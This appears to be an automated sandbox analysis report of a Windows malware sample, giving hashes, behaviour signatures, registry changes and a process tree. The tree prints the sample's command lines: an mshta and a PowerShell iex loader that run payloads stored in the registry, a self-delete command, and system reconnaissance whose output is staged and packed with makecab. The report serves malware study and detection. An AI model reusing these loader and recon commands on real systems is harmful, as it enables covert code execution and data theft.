Analysis
-
max time kernel
138s -
max time network
139s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
23/12/2020, 01:28
Static task
static1
Behavioral task
behavioral1
Sample
8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
-
Target
8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe
-
Size
40KB
-
MD5
0286232c6300bea38235739d04845f57
-
SHA1
b6e6d215790c97f2a401391366750d2ff9ededa9
-
SHA256
8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d
-
SHA512
0c8869392f7d85f50e630706c9e3c32fa68d1ba012ede1aa38cd1ebe467f65ffd2c49dbbb6231f973fef24640a36624c99147ac70d5310f29bb1ca72e496a63f
Malware Config
Signatures
-
Deletes itself 1 IoCs
pid Process 1564 cmd.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 1756 set thread context of 1264 1756 powershell.exe 11 PID 1264 set thread context of 1324 1264 Explorer.EXE 30 PID 1264 set thread context of 1564 1264 Explorer.EXE 43 PID 1564 set thread context of 1436 1564 cmd.exe 45 PID 1264 set thread context of 1720 1264 Explorer.EXE 59 -
Discovers systems in the same network 1 TTPs 1 IoCs
pid Process 2248 net.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 2392 tasklist.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2044 systeminfo.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 4091f972cad8d601 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{ACB4F151-44BD-11EB-A016-EE401B9E63CB} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a600000000002000000000010660000000100002000000081b811848c4fc1d0b88afbd57f25fce8b1dfcf0bf9c1e98fdc606f002452a83c000000000e80000000020000200000006459479a2bbd3f73005478baaf3b18958411569af750ac49d7dbaccff98334b0200000000a4cb496c15bbd318e36ef1ae89ec2c451273e7deacd7d33fdd5b361bd4c9b2e40000000d76365e02b04eb0312e395c63ecda8b4da3276407c677a25b5b809ed570d11a6b2e0e76ee8c6d29958850b8882268913eac57d0eef2d1f854423090f7f42e234 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a6000000000020000000000106600000001000020000000c45c0255842a23fe5d9625afe6d348fa8f4d6e6467963c43ad9437d04ed32298000000000e800000000200002000000042a0f94c77adc2d87c2c72913c6ed1d78644e3c444f7d3b83d24a8ca3393969190000000fb32ac8534850e172ca7873a0b7d6c59097c08807fb3110909ea28fd9552d5298e46797f72b61b98b78aafb2a96d6812bef0c5d1a893af22e44e8c29d64c00b5db3cef07ea831da9dd1bc49dcf4efffc7d92d18b2ac2bf7879f00f6fc078451b09f0180ef107f522ee2aafc4b14358a282dff69b08c34b30c98d3be6dcab8ecfe87597a2def4d36054b29893bc82e78540000000bcf8df50272e86be4be6e3f76d40d300901c583e51e27ebeccb1d9fde68d53e37463e0212df0865810f9ad3f6613f59c7905d783fd2d56735444896b29055c5a iexplore.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1436 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1436 PING.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 748 8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe 1756 powershell.exe 1756 powershell.exe 1264 Explorer.EXE -
Suspicious behavior: MapViewOfSection 5 IoCs
pid Process 1756 powershell.exe 1264 Explorer.EXE 1264 Explorer.EXE 1564 cmd.exe 1264 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1756 powershell.exe Token: SeDebugPrivilege 2392 tasklist.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 1324 iexplore.exe 1324 iexplore.exe 1324 iexplore.exe 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
pid Process 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1324 iexplore.exe 1324 iexplore.exe 780 IEXPLORE.EXE 780 IEXPLORE.EXE 1324 iexplore.exe 1324 iexplore.exe 1532 IEXPLORE.EXE 1532 IEXPLORE.EXE 1324 iexplore.exe 1324 iexplore.exe 780 IEXPLORE.EXE 780 IEXPLORE.EXE 1264 Explorer.EXE -
Suspicious use of WriteProcessMemory 126 IoCs
description pid Process procid_target PID 1324 wrote to memory of 780 1324 iexplore.exe 32 PID 1324 wrote to memory of 780 1324 iexplore.exe 32 PID 1324 wrote to memory of 780 1324 iexplore.exe 32 PID 1324 wrote to memory of 780 1324 iexplore.exe 32 PID 1324 wrote to memory of 1532 1324 iexplore.exe 34 PID 1324 wrote to memory of 1532 1324 iexplore.exe 34 PID 1324 wrote to memory of 1532 1324 iexplore.exe 34 PID 1324 wrote to memory of 1532 1324 iexplore.exe 34 PID 1596 wrote to memory of 1756 1596 mshta.exe 37 PID 1596 wrote to memory of 1756 1596 mshta.exe 37 PID 1596 wrote to memory of 1756 1596 mshta.exe 37 PID 1756 wrote to memory of 848 1756 powershell.exe 39 PID 1756 wrote to memory of 848 1756 powershell.exe 39 PID 1756 wrote to memory of 848 1756 powershell.exe 39 PID 848 wrote to memory of 1688 848 csc.exe 40 PID 848 wrote to memory of 1688 848 csc.exe 40 PID 848 wrote to memory of 1688 848 csc.exe 40 PID 1756 wrote to memory of 952 1756 powershell.exe 41 PID 1756 wrote to memory of 952 1756 powershell.exe 41 PID 1756 wrote to memory of 952 1756 powershell.exe 41 PID 952 wrote to memory of 1172 952 csc.exe 42 PID 952 wrote to memory of 1172 952 csc.exe 42 PID 952 wrote to memory of 1172 952 csc.exe 42 PID 1756 wrote to memory of 1264 1756 powershell.exe 11 PID 1756 wrote to memory of 1264 1756 powershell.exe 11 PID 1756 wrote to memory of 1264 1756 powershell.exe 11 PID 1264 wrote to memory of 1324 1264 Explorer.EXE 30 PID 1264 wrote to memory of 1564 1264 Explorer.EXE 43 PID 1264 wrote to memory of 1564 1264 Explorer.EXE 43 PID 1264 wrote to memory of 1564 1264 Explorer.EXE 43 PID 1264 wrote to memory of 1564 1264 Explorer.EXE 43 PID 1264 wrote to memory of 1324 1264 Explorer.EXE 30 PID 1264 wrote to memory of 1324 1264 Explorer.EXE 30 PID 1264 wrote to memory of 1564 1264 Explorer.EXE 43 PID 1264 wrote to memory of 1564 1264 Explorer.EXE 43 PID 1564 wrote to memory of 1436 1564 cmd.exe 45 PID 1564 wrote to memory of 1436 1564 cmd.exe 45 PID 1564 wrote to memory of 1436 1564 cmd.exe 45 PID 1564 wrote to memory of 1436 1564 cmd.exe 45 PID 1564 wrote to memory of 1436 1564 cmd.exe 45 PID 1564 wrote to memory of 1436 1564 cmd.exe 45 PID 1264 wrote to memory of 2020 1264 Explorer.EXE 49 PID 1264 wrote to memory of 2020 1264 Explorer.EXE 49 PID 1264 wrote to memory of 2020 1264 Explorer.EXE 49 PID 1264 wrote to memory of 1664 1264 Explorer.EXE 46 PID 1264 wrote to memory of 1664 1264 Explorer.EXE 46 PID 1264 wrote to memory of 1664 1264 Explorer.EXE 46 PID 2020 wrote to memory of 1720 2020 cmd.exe 50 PID 2020 wrote to memory of 1720 2020 cmd.exe 50 PID 2020 wrote to memory of 1720 2020 cmd.exe 50 PID 1664 wrote to memory of 1308 1664 cmd.exe 51 PID 1664 wrote to memory of 1308 1664 cmd.exe 51 PID 1664 wrote to memory of 1308 1664 cmd.exe 51 PID 1264 wrote to memory of 848 1264 Explorer.EXE 52 PID 1264 wrote to memory of 848 1264 Explorer.EXE 52 PID 1264 wrote to memory of 848 1264 Explorer.EXE 52 PID 1264 wrote to memory of 748 1264 Explorer.EXE 53 PID 1264 wrote to memory of 748 1264 Explorer.EXE 53 PID 1264 wrote to memory of 748 1264 Explorer.EXE 53 PID 1264 wrote to memory of 996 1264 Explorer.EXE 56 PID 1264 wrote to memory of 996 1264 Explorer.EXE 56 PID 1264 wrote to memory of 996 1264 Explorer.EXE 56 PID 996 wrote to memory of 2044 996 cmd.exe 58 PID 996 wrote to memory of 2044 996 cmd.exe 58 PID 996 wrote to memory of 2044 996 cmd.exe 58 PID 1264 wrote to memory of 1720 1264 Explorer.EXE 59 PID 1264 wrote to memory of 1720 1264 Explorer.EXE 59 PID 1264 wrote to memory of 1720 1264 Explorer.EXE 59 PID 1264 wrote to memory of 1720 1264 Explorer.EXE 59 PID 1264 wrote to memory of 1720 1264 Explorer.EXE 59 PID 1264 wrote to memory of 1720 1264 Explorer.EXE 59 PID 1264 wrote to memory of 1720 1264 Explorer.EXE 59 PID 1264 wrote to memory of 2192 1264 Explorer.EXE 63 PID 1264 wrote to memory of 2192 1264 Explorer.EXE 63 PID 1264 wrote to memory of 2192 1264 Explorer.EXE 63 PID 1264 wrote to memory of 2220 1264 Explorer.EXE 65 PID 1264 wrote to memory of 2220 1264 Explorer.EXE 65 PID 1264 wrote to memory of 2220 1264 Explorer.EXE 65 PID 2220 wrote to memory of 2248 2220 cmd.exe 67 PID 2220 wrote to memory of 2248 2220 cmd.exe 67 PID 2220 wrote to memory of 2248 2220 cmd.exe 67 PID 1264 wrote to memory of 2264 1264 Explorer.EXE 68 PID 1264 wrote to memory of 2264 1264 Explorer.EXE 68 PID 1264 wrote to memory of 2264 1264 Explorer.EXE 68 PID 1264 wrote to memory of 2292 1264 Explorer.EXE 70 PID 1264 wrote to memory of 2292 1264 Explorer.EXE 70 PID 1264 wrote to memory of 2292 1264 Explorer.EXE 70 PID 2292 wrote to memory of 2320 2292 cmd.exe 72 PID 2292 wrote to memory of 2320 2292 cmd.exe 72 PID 2292 wrote to memory of 2320 2292 cmd.exe 72 PID 1264 wrote to memory of 2336 1264 Explorer.EXE 73 PID 1264 wrote to memory of 2336 1264 Explorer.EXE 73 PID 1264 wrote to memory of 2336 1264 Explorer.EXE 73 PID 1264 wrote to memory of 2364 1264 Explorer.EXE 75 PID 1264 wrote to memory of 2364 1264 Explorer.EXE 75 PID 1264 wrote to memory of 2364 1264 Explorer.EXE 75 PID 2364 wrote to memory of 2392 2364 cmd.exe 77 PID 2364 wrote to memory of 2392 2364 cmd.exe 77 PID 2364 wrote to memory of 2392 2364 cmd.exe 77 PID 1264 wrote to memory of 2424 1264 Explorer.EXE 78 PID 1264 wrote to memory of 2424 1264 Explorer.EXE 78 PID 1264 wrote to memory of 2424 1264 Explorer.EXE 78 PID 1264 wrote to memory of 2452 1264 Explorer.EXE 80 PID 1264 wrote to memory of 2452 1264 Explorer.EXE 80 PID 1264 wrote to memory of 2452 1264 Explorer.EXE 80 PID 2452 wrote to memory of 2480 2452 cmd.exe 82 PID 2452 wrote to memory of 2480 2452 cmd.exe 82 PID 2452 wrote to memory of 2480 2452 cmd.exe 82 PID 1264 wrote to memory of 2520 1264 Explorer.EXE 83 PID 1264 wrote to memory of 2520 1264 Explorer.EXE 83 PID 1264 wrote to memory of 2520 1264 Explorer.EXE 83 PID 1264 wrote to memory of 2548 1264 Explorer.EXE 85 PID 1264 wrote to memory of 2548 1264 Explorer.EXE 85 PID 1264 wrote to memory of 2548 1264 Explorer.EXE 85 PID 2548 wrote to memory of 2576 2548 cmd.exe 87 PID 2548 wrote to memory of 2576 2548 cmd.exe 87 PID 2548 wrote to memory of 2576 2548 cmd.exe 87 PID 1264 wrote to memory of 2588 1264 Explorer.EXE 88 PID 1264 wrote to memory of 2588 1264 Explorer.EXE 88 PID 1264 wrote to memory of 2588 1264 Explorer.EXE 88 PID 1264 wrote to memory of 2616 1264 Explorer.EXE 90 PID 1264 wrote to memory of 2616 1264 Explorer.EXE 90 PID 1264 wrote to memory of 2616 1264 Explorer.EXE 90 PID 1264 wrote to memory of 2648 1264 Explorer.EXE 92 PID 1264 wrote to memory of 2648 1264 Explorer.EXE 92 PID 1264 wrote to memory of 2648 1264 Explorer.EXE 92
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Users\Admin\AppData\Local\Temp\8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe"C:\Users\Admin\AppData\Local\Temp\8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:748
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\CB4B3BAF-AEAE-3526-102F-C23944D3167D\\\Auxisext'));if(!window.flag)close()</script>"2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\CB4B3BAF-AEAE-3526-102F-C23944D3167D").aepiesrv))3⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pxvki3w5\pxvki3w5.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:848 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES626B.tmp" "c:\Users\Admin\AppData\Local\Temp\pxvki3w5\CSC450A03253A0846488E21673D422B8047.TMP"5⤵PID:1688
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uhoibey1\uhoibey1.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:952 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES62D8.tmp" "c:\Users\Admin\AppData\Local\Temp\uhoibey1\CSC3D80513CAF25451FA43740CE38E14626.TMP"5⤵PID:1172
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\8e7e061cfbeca37aaa1faf43b7e248fbc53024e5abacd532873fdb7919569c2d.exe"2⤵
- Deletes itself
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1564 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1436
-
-
-
C:\Windows\system32\cmd.execmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\638C.bi1"2⤵
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\system32\nslookup.exenslookup myip.opendns.com resolver1.opendns.com3⤵PID:1308
-
-
-
C:\Windows\system32\cmd.execmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\248.bi1"2⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\system32\nslookup.exenslookup myip.opendns.com resolver1.opendns.com3⤵PID:1720
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\638C.bi1"2⤵PID:848
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\248.bi1"2⤵PID:748
-
-
C:\Windows\system32\cmd.execmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵
- Suspicious use of WriteProcessMemory
PID:996 -
C:\Windows\system32\systeminfo.exesysteminfo.exe3⤵
- Gathers system information
PID:2044
-
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵PID:1720
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2192
-
-
C:\Windows\system32\cmd.execmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2220
-
C:\Windows\system32\net.exenet view3⤵
- Discovers systems in the same network
PID:2248
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2264
-
-
C:\Windows\system32\cmd.execmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2292
-
C:\Windows\system32\nslookup.exenslookup 127.0.0.13⤵PID:2320
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2336
-
-
C:\Windows\system32\cmd.execmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2364
-
C:\Windows\system32\tasklist.exetasklist.exe /SVC3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2392
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2424
-
-
C:\Windows\system32\cmd.execmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2452
-
C:\Windows\system32\driverquery.exedriverquery.exe3⤵PID:2480
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2520
-
-
C:\Windows\system32\cmd.execmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2548
-
C:\Windows\system32\reg.exereg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s3⤵PID:2576
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2588
-
-
C:\Windows\system32\cmd.execmd /U /C "type C:\Users\Admin\AppData\Local\Temp\EF28.bin1 > C:\Users\Admin\AppData\Local\Temp\EF28.bin & del C:\Users\Admin\AppData\Local\Temp\EF28.bin1"2⤵PID:2616
-
-
C:\Windows\system32\makecab.exemakecab.exe /F "C:\Users\Admin\AppData\Local\Temp\D762.bin"2⤵PID:2648
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:780
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:734213 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1532
-